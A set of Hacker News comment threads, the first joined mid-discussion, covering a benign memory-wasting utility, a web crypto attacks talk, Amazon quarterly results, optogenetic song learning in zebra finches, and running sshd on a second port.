<comment><USER10> [author here] I'm not supposed to directly call out corporations for mistakes in public because then their feelings will be hurt and they won't be a customer in the future ;)

I was kind of expecting someone to tell me "Spacer" was too obvious and to obfuscate it some more, but they let it slide - probably because this is not a security flaw like I'd usually be dropping, just a general oopsie.

<comment><USER11> Do userland utilities like this have the potential for big scary security holes? Or is Windows 7 / 8 better than that now?

<comment><USER12> In a sense Windows (Vista) and 7 and 8 have encouraged targeting user-mode processes. The garden variety IRC bots that ship with the "hacking tools" available through various YouTube channels all run in user-mode.

The most common (at least based on my ~10 instance) technique is malware that installs itself into %APPDATA% and sets itself to start on boot. The executable then launches some process (like services.exe) and injects its own code (known as RunPE).

I'm not sure how prolific exploitation of user-mode binaries is, but the damage that can be done from user-mode is non-trivial.

</comment></comment></comment></comment><comment><USER13> A perfect example of why you should never use foul language in your code - even if it's not meant for production ;)

<comment> mark-r I work with a guy who left some scathing comments in the code about the incompetence of the vendor he was forced to work with. Interesting times ensued when our company was bought by theirs and they started looking through the source.

</comment></comment><comment><USER14> Interesting article. There are better ways of looking at memory allocations in .NET code, however, including CLR allocation profiler, WinDBG, VMMap, and tools from Telerik, Jetbrains, ANTS etc that take away a lot of the guess work. Still, kudos to the author for not doing an immediate re-pave.

<comment><USER10> Author here! I work in/study static analysis, so "running the program" would be entirely defeating the fun ;)

<comment><USER14> Right! Your comment re: special tools in the article now makes more sense.

</comment></comment></comment><comment><USER15> Thank you. This was a fun read.

</comment><comment><AUTHOR> To the author: Saw this on comex's Twitter and got a good kick out of it. My first surprise was that HN didn't already have this submitted. My second was it reaching first page in 3 hours.

:)

</comment><comment><USER16> If I were you I would be thankful that there were memory issues, otherwise you wouldn't even have discovered this malware! :)

<comment><USER17> It's not malware - it's nothing ware. It does nothing at all except use memory. If there were no memory issue then it _really_ wouldn't do anything.

Like this machine: <http://mentalfloss.com/article/24670/machine-turns-itself>

<comment><USER18> Kind of like an electronic benign tumour.

</comment></comment></comment><comment><USER19> Am I the only one who thinks this is _obviously_ a ploy to sell more RAM to the _angry_ users!?!@?</comment>


Three years attacking web crypto - <AUTHOR> https://docs.google.com/presentation/d/1pbys0vHeY-yAGMaAm1AmjnBxyhD5za8nxSpdFR3tXqM/present#slide=id.g1d134dff_1_222

<comment><AUTHOR> Hacker News community seem to be interested in crypto, so I guess you guys will enjoy this presentation, which is a summary of web crypto vulnerabilities discovered by Juliano Rizzo and me.</comment>


Amazon Misses: Q4 Sales Up 22% To $21.3B, Net Income Down 45% To $97M - <AUTHOR> http://techcrunch.com/2013/01/29/amazon-misses-q4-sales-up-22-percent-to-21-3b-net-income-down-45-percent-to-97m/ <comment><USER2> And yet it's up +21.15 (+8.12%) in after hours trading. I don't understand AMZN stock at all.</comment>


Scientists implant "memories" into bird brains to teach them songs - <AUTHOR> https://newatlas.com/biology/implant-memories-bird-brains-teach-songs/ <comment><AUTHOR> Abstract of the original study:

> Animals learn many complex behaviors by emulating the behavior of more > experienced individuals. This essential, yet still poorly understood, form > of learning relies on the ability to encode lasting memories of observed > behaviors. We identified a vocal-motor pathway in the zebra finch where > memories that guide learning of song-element durations can be implanted. > Activation of synapses in this pathway seeds memories that guide learning of > song-element duration and can override learning from social interactions > with other individuals. Genetic lesions of this circuit after memory > formation, however, do not disrupt subsequent song imitation, which suggests > that these memories are stored at downstream synapses. Thus, activity at > these sensorimotor synapses can bypass learning from auditory and social > experience and embed memories that guide learning of song timing.

From: [https://science.sciencemag.org/content/366/6461/83](https://science.sciencemag.org/content/366/6461/83)

<comment><USER2> Also from a Perspective [1] in the same issue, which I also found useful:

An imitation circuit

Animals, including humans, rely heavily on imitation and social learning, yet we know little about how this process operates in the brain. Zhao et al. used optogenetic manipulation of a synaptic pathway connecting auditory and vocal motor circuits to implant song memories sufficient to guide song learning into young zebra finches (see the Perspective by Clayton). Activation of this circuit overrode learning from live tutors. These experiments define circuits essential for social learning of songs from tutors and show that such memories can be localized.

[1] [https://science.sciencemag.org/content/366/6461/33](https://science.sciencemag.org/content/366/6461/33)

</comment></comment><comment><USER3> The article could leave the impression that the birds are watching the flashes of light, like watching TV. For a layman article, they failed to mention that brain of the bird has been cut open or probed and that the flashes of light are shone directly on the neurons.{1} I guess they thought it was too icky to make that clear.

Optogenetics seems like a real breakthrough. Great quote from Wikipedia: "The far-fetched possibility of using light for selectively controlling precise neural activity was thought of by Francis Crick in 1999."

{1} [https://en.wikipedia.org/wiki/Optogenetics](https://en.wikipedia.org/wiki/Optogenetics)

</comment><comment><USER4> If I understand this correctly, it seems like the researchers were just stimulating vocal areas of the bird brains--which to me seems like an entirely different thing than implanting memories into the bird's brain. If you stimulate my motor cortex in a way that makes me kick my leg, it would be a little silly to say that you implanted a memory of me kicking--the memory is something that occurs after the fact. Maybe the original article makes this distinction a little clearer?

<comment><USER5> This seems like a reasonable definition of implanting to me—it's east to trivialize this with "just", but intent to implant and visible indication of implanted behavior are both in place here. What mechanism would you expect implantation to look like?

<comment><USER6> There's an extremely large difference between tricking someone into thinking they're working for the other team by grafting on a pre-calculated memory of them being a Chinese agent for the last 20 years rather than ... making their finger move and saying that gave them a memory of their finger moving.

<comment><USER5> Maybe, I think it depends on your expectations.

</comment></comment></comment></comment><comment><USER7> This technique is novel, but there are already established methods of implanting false memories in people, with children the most susceptible. A study [0] showed how easy it was to induce a false memory of hugging/shaking hands with Bugs Bunny at Disneyland, which is impossible because there is no Bugs Bunny in Disney

[0][http://staff.washington.edu/eloftus/2003Nature.pdf](http://staff.washington.edu/eloftus/2003Nature.pdf)

</comment><comment><USER8> The avian equivalent of the basal ganglia has activity that goes up at the beginning and ending of discrete song segments. So they expressed light triggered ion channels in those brain regions to mimic the activity patterns of actual song and trains the birds to learn novel patterns they had never actually heard.

</comment><comment><USER9> "We do what we must because we can."

</comment><comment><USER7> This just takes us one step closer to the avian overthrow of mankind predicted in Alfred Hitchcock's "The Birds". Or maybe just scientists messing with people to make them want to eat bird seed.</comment>


Don't change sshd's port - <AUTHOR> http://blog.sanctum.geek.nz/dont-change-sshds-port/ <comment><USER2> Another reason to run sshd on a different port is that sometimes tcp/22 (indeed sometimes all tcp ports except 53, 80 and 443) are firewalled off. I have experienced this with free wifi on a few occasions. Running sshd on port 443 usually makes it possible to connect in this situation.

<comment><USER3> Keep in mind that you can run it on both ports; you can specify the Port option twice in sshd_config:

Port 22 Port 443</comment></comment>